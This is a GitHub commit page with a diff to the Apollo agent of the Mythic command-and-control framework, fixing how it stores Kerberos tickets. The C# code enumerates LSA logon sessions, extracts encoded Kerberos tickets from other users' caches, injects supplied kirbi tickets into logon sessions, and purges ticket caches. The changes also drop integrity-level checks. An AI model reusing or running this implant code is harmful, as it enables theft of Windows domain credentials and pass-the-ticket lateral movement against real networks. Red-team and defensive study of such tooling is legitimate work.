Skip to content

Commit

Permalink
ticket_store bug fixes
Browse files Browse the repository at this point in the history
  • Loading branch information
its-a-feature committed Jan 8, 2025
1 parent 87a3a79 commit 398dda4
Show file tree
Hide file tree
Showing 5 changed files with 79 additions and 65 deletions.
6 changes: 6 additions & 0 deletions Payload_Type/apollo/CHANGELOG.MD
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,12 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## [v2.2.24] - 2025-01-08

### Changed

- Updated the KerberosTicket storage to handle fetching the right ticket more reliably

## [v2.2.23] - 2025-01-08

### Changed
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
Expand All @@ -20,12 +21,12 @@ namespace KerberosTickets;
internal class KerberosHelpers
{
private static HANDLE systemHandle { get; set; }

private static List<Artifact> createdArtifacts = new List<Artifact>();




//private helper methods
private static HANDLE GetLsaHandleUntrusted(bool elevateToSystem = true)
{
Expand Down Expand Up @@ -88,38 +89,30 @@ private static uint GetAuthPackage(HANDLE lsaHandle, HANDLE<LSA_IN_STRING> packa
return authPackage;
}



private static IEnumerable<LUID> GetLogonSessions()
{
List<LUID> logonIds = [];
try
{
if (Agent.GetIdentityManager().GetIntegrityLevel() >= IntegrityLevel.HighIntegrity)
// get all logon ids
DebugHelp.DebugWriteLine("enumerating logon session");
WindowsAPI.LsaEnumerateLogonSessionsDelegate(out uint logonCount, out HANDLE logonIdHandle);
createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaEnumerateLogonSessions"));
var logonWorkingHandle = logonIdHandle;
for (var i = 0; i < logonCount; i++)
{
// get all logon ids
DebugHelp.DebugWriteLine("enumerating logon session");
WindowsAPI.LsaEnumerateLogonSessionsDelegate(out uint logonCount, out HANDLE logonIdHandle);
createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaEnumerateLogonSessions"));
var logonWorkingHandle = logonIdHandle;
for (var i = 0; i < logonCount; i++)
var logonId = logonWorkingHandle.CastTo<LUID>();
if (logonId.IsNull || logonIds.Contains(logonId))
{
var logonId = logonWorkingHandle.CastTo<LUID>();
if (logonId.IsNull || logonIds.Contains(logonId))
{
DebugHelp.DebugWriteLine("LogonId is null or is already in the list, skipping");
continue;
}
logonIds.Add(logonId);
logonWorkingHandle = logonWorkingHandle.Increment();
DebugHelp.DebugWriteLine("LogonId is null or is already in the list, skipping");
continue;
}
WindowsAPI.LsaFreeReturnBufferDelegate(logonIdHandle);
}
else
{
// we can only get our own if not elevated
logonIds.Add(GetCurrentLuid());
logonIds.Add(logonId);
logonWorkingHandle = logonWorkingHandle.Increment();
}
WindowsAPI.LsaFreeReturnBufferDelegate(logonIdHandle);
}
catch (Exception e)
{
Expand All @@ -136,6 +129,11 @@ private static LogonSessionData GetLogonSessionData(HANDLE<LUID> luidHandle)
{
WindowsAPI.LsaGetLogonSessionDataDelegate(luidHandle, out logonSessionDataHandle);
createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaGetLogonSessionData"));
if(logonSessionDataHandle.IsNull)
{
DebugHelp.DebugWriteLine($"Error getting logon session data");
return new LogonSessionData();
}
var seclogonSessionData = logonSessionDataHandle.CastTo<SECURITY_LOGON_SESSION_DATA>();
LogonSessionData sessionData = new()
{
Expand Down Expand Up @@ -163,7 +161,7 @@ private static LogonSessionData GetLogonSessionData(HANDLE<LUID> luidHandle)
WindowsAPI.LsaFreeReturnBufferDelegate(logonSessionDataHandle);
}
}

private static IEnumerable<KerberosTicket> GetTicketCache(HANDLE lsaHandle, uint authPackage, LUID logonId)
{
//needs to be elevated to pass in a logon id so if we arent we wipe the value here
Expand All @@ -174,7 +172,7 @@ private static IEnumerable<KerberosTicket> GetTicketCache(HANDLE lsaHandle, uint
}
// tickets to return
List<KerberosTicket> tickets = [];

KERB_QUERY_TKT_CACHE_REQUEST request = new()
{
MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheExMessage,
Expand All @@ -192,7 +190,7 @@ private static IEnumerable<KerberosTicket> GetTicketCache(HANDLE lsaHandle, uint
return tickets;
}
var response = returnBuffer.CastTo<KERB_QUERY_TKT_CACHE_RESPONSE>();

if (response.CountOfTickets == 0)
{
DebugHelp.DebugWriteLine("No tickets found");
Expand Down Expand Up @@ -244,7 +242,7 @@ private static (HANDLE, uint, IEnumerable<LUID>) InitKerberosConnectionAndSessio
}
DebugHelp.DebugWriteLine("Got LSA Handle");
connectionInfo.Item1 = lsaHandle;

// get auth package
LSA_IN_STRING packageName = new("kerberos");
HANDLE<LSA_IN_STRING> packageNameHandle = new(packageName);
Expand All @@ -262,7 +260,6 @@ private static (HANDLE, uint, IEnumerable<LUID>) InitKerberosConnectionAndSessio
// get all logon sessions
if (GetSessions)
{
DebugHelp.DebugWriteLine("Getting Logon Sessions");
var logonSessions = GetLogonSessions();
var logonSessionList = logonSessions.ToList();
DebugHelp.DebugWriteLine($"Found {logonSessionList.Count()} logon sessions");
Expand Down Expand Up @@ -295,7 +292,7 @@ private static HANDLE CreateNewLogonSession()
{
createdArtifacts.Add(Artifact.PlaintextLogon(userName.ToString()));
}
//debug get the luid for the token
//debug get the luid for the token
int tokenInfoSize = Marshal.SizeOf<TOKEN_STATISTICS>();
HANDLE tokenInfo = (HANDLE)Marshal.AllocHGlobal(tokenInfoSize);
WindowsAPI.GetTokenInformationDelegate(token, Win32.TokenInformationClass.TokenStatistics,tokenInfo, tokenInfoSize, out int returnLength);
Expand All @@ -312,7 +309,7 @@ private static HANDLE CreateNewLogonSession()
return new();
}
}

/// <summary>
/// Gets any created artifacts that were produced between the current call and the last call to this method
/// </summary>
Expand All @@ -324,7 +321,7 @@ internal static List<Artifact> GetCreatedArtifacts()
createdArtifacts.Clear();
return artifacts;
}

//internal methods but are exposed via the KerberosTicketManager
internal static LUID GetCurrentLuid()
{
Expand All @@ -343,8 +340,8 @@ internal static LUID GetCurrentLuid()
}
return new LUID();
}


internal static LUID GetTargetProcessLuid(int pid)
{
HANDLE tokenInfo = new();
Expand Down Expand Up @@ -397,7 +394,7 @@ internal static LUID GetTargetProcessLuid(int pid)
WindowsAPI.CloseHandleDelegate(targetProcessHandle);
}
}

//get all tickets
internal static IEnumerable<KerberosTicket> TriageTickets(bool getSystemTickets = false, string targetLuid = "")
{
Expand Down Expand Up @@ -443,8 +440,8 @@ internal static IEnumerable<KerberosTicket> TriageTickets(bool getSystemTickets
}
return allTickets;
}


//extract ticket
internal static KerberosTicket? ExtractTicket(LUID targetLuid, string targetName)
{
Expand All @@ -467,7 +464,7 @@ internal static IEnumerable<KerberosTicket> TriageTickets(bool getSystemTickets
DebugHelp.DebugWriteLine($"Failed to find ticket for {targetName}");
return null;
}

KERB_RETRIEVE_TKT_REQUEST request = new()
{
MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage,
Expand Down Expand Up @@ -504,8 +501,8 @@ internal static IEnumerable<KerberosTicket> TriageTickets(bool getSystemTickets
}
//convert the location of the ticket in memory to a struct
var response = returnBuffer.CastTo<KERB_RETRIEVE_TKT_RESPONSE>();
//make sure the ticket has some data

//make sure the ticket has some data
if (response.Ticket.EncodedTicketSize == 0)
{
DebugHelp.DebugWriteLine("No ticket Data to extract");
Expand All @@ -523,8 +520,8 @@ internal static IEnumerable<KerberosTicket> TriageTickets(bool getSystemTickets
return null;
}
}
// load ticket

// load ticket
internal static bool LoadTicket(byte[] submittedTicket, LUID targetLuid)
{
HANDLE requestAndTicketHandle = new();
Expand All @@ -536,11 +533,11 @@ internal static bool LoadTicket(byte[] submittedTicket, LUID targetLuid)
//Discarding the logonSessions because we do not need them so we pass false to prevent enumerating them
(lsaHandle, uint authPackage, IEnumerable<LUID> _) = InitKerberosConnectionAndSessionInfo(false);
//if we are not an admin user then we cannot send a real lUID so we need to send a null one
if (Agent.GetIdentityManager().GetIntegrityLevel() is <= IntegrityLevel.MediumIntegrity)
{
DebugHelp.DebugWriteLine("Not high integrity, setting targetLuid to 0");
targetLuid = new LUID();
}
//if (Agent.GetIdentityManager().GetIntegrityLevel() <= IntegrityLevel.MediumIntegrity)
//{
// DebugHelp.DebugWriteLine("Not high integrity, setting targetLuid to 0");
// targetLuid = new LUID();
//}
//get the size of the request structure
var requestSize = Marshal.SizeOf<KERB_SUBMIT_TKT_REQUEST>();

Expand All @@ -551,26 +548,25 @@ internal static bool LoadTicket(byte[] submittedTicket, LUID targetLuid)
KerbCredSize = submittedTicket.Length,
KerbCredOffset = requestSize,
};

//get the size of the required parts and allocate memory for the struct and the ticket
var ticketSize = submittedTicket.Length;
DebugHelp.DebugWriteLine($"Ticket is of size {ticketSize}");
var requestPlusTicketSize = requestSize + ticketSize;
DebugHelp.DebugWriteLine($"Allocating memory for request and ticket of size {requestPlusTicketSize}");
requestAndTicketHandle = new(Marshal.AllocHGlobal(requestPlusTicketSize));

//write the request to the start of the new memory block
Marshal.StructureToPtr(request, requestAndTicketHandle, false);
//get the address of the end of the struct
HANDLE requestEndAddress = new(new(requestAndTicketHandle.PtrLocation.ToInt64() + requestSize));
//write the ticket to the end of the struct
Marshal.Copy(submittedTicket, 0, requestEndAddress.PtrLocation, ticketSize);

//submit the ticket
DebugHelp.DebugWriteLine($"Submitting ticket of size {ticketSize} to LSA");
var status = WindowsAPI.LsaCallAuthenticationPackageDelegate(lsaHandle, authPackage, requestAndTicketHandle, requestPlusTicketSize, out returnBuffer, out uint returnLength, out NTSTATUS returnStatus);
createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaCallAuthenticationPackage"));

if (status != NTSTATUS.STATUS_SUCCESS || returnStatus != NTSTATUS.STATUS_SUCCESS)
{
DebugHelp.DebugWriteLine($"Failed to submit ticket with api status: {status} and return status: {returnStatus}");
Expand All @@ -590,10 +586,10 @@ internal static bool LoadTicket(byte[] submittedTicket, LUID targetLuid)
//is checked because for some operations loading the ticket is not the final step so we may want to keep the handle open
WindowsAPI.LsaDeregisterLogonProcessDelegate(lsaHandle);
createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaDeregisterLogonProcess"));

}
}

// unload ticket
internal static bool UnloadTicket(string serviceName, string domainName, LUID targetLuid, bool All)
{
Expand All @@ -617,7 +613,7 @@ internal static bool UnloadTicket(string serviceName, string domainName, LUID ta
MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbPurgeTicketCacheMessage,
LogonId = Agent.GetIdentityManager().GetIntegrityLevel() <= IntegrityLevel.MediumIntegrity ? new LUID() : targetLuid
};

// Marshal the request structure first
Marshal.StructureToPtr(request, requestBuffer, false);

Expand Down Expand Up @@ -677,7 +673,7 @@ internal static bool UnloadTicket(string serviceName, string domainName, LUID ta
createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaDeregisterLogonProcess"));
}
}

//describe ticket
internal static KerberosTicket? TryGetTicketDetailsFromKirbi(byte[] kirbiTicket)
{
Expand All @@ -695,11 +691,22 @@ internal static bool UnloadTicket(string serviceName, string domainName, LUID ta
WindowsAPI.ImpersonateLoggedOnUserDelegate(newlogonHandle);
createdArtifacts.Add(Artifact.WindowsAPIInvoke("ImpersonateLoggedOnUser"));
//passing new luid here is fine because we have switched to the new logon session
LoadTicket(kirbiTicket, new LUID());
ticket = TriageTickets().FirstOrDefault();
ticket.Kirbi = kirbiTicket;
int tokenInfoSize = Marshal.SizeOf<TOKEN_STATISTICS>();
HANDLE tokenInfo = (HANDLE)Marshal.AllocHGlobal(tokenInfoSize);
WindowsAPI.GetTokenInformationDelegate(newlogonHandle, Win32.TokenInformationClass.TokenStatistics, tokenInfo, tokenInfoSize, out int returnLength);
createdArtifacts.Add(Artifact.WindowsAPIInvoke("GetTokenInformation"));
TOKEN_STATISTICS tokenStats = tokenInfo.CastTo<TOKEN_STATISTICS>();
LoadTicket(kirbiTicket, tokenStats.AuthenticationId);
ticket = TriageTickets(getSystemTickets:true, targetLuid:$"{tokenStats.AuthenticationId}").FirstOrDefault();
if(ticket != null)
{
ticket.Kirbi = kirbiTicket;
DebugHelp.DebugWriteLine($"Converted base64 ticket to KerberosTicket: {ticket.ToString().ToIndentedString()}");
} else
{
DebugHelp.DebugWriteLine($"Failed to triage any tickets");
}
}
DebugHelp.DebugWriteLine($"Converted base64 ticket to KerberosTicket: {ticket.ToString().ToIndentedString()}");
}
catch (Exception e)
{
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -41,7 +41,7 @@ public override void Start()
KerberosTicket? ticket = _agent.GetTicketManager().GetTicketDetailsFromKirbi(ticketBytes);
if(ticket == null)
{
resp = CreateTaskResponse($"Failed to extract ticket from kirbi", true, "error");
resp = CreateTaskResponse($"Failed to extract ticket from kirbi or failed to parse new data", true, "error");
}
else
{
Expand All @@ -51,7 +51,7 @@ public override void Start()
}
catch (Exception e)
{
resp = CreateTaskResponse($"Failed to inject ticket into session: {e.Message}", true, "error");
resp = CreateTaskResponse($"Failed to add ticket into store: {e.Message}", true, "error");
}
//get and send back any artifacts
IEnumerable<Artifact> artifacts = _agent.GetTicketManager().GetArtifacts();
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,7 @@ class Apollo(PayloadType):
supported_os = [
SupportedOS.Windows
]
version = "2.2.23"
version = "2.2.24"
wrapper = False
wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"]
note = """
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -53,6 +53,7 @@ async def get_payloads(self, inputMsg: PTRPCDynamicQueryFunctionMessage) -> PTRP
for f in payload_search.Payloads:
file_names.append(f"{f.Filename} - {f.Description}")
fileResponse.Success = True
file_names.sort()
fileResponse.Choices = file_names
return fileResponse
else:
Expand Down

0 comments on commit 398dda4

Please sign in to comment.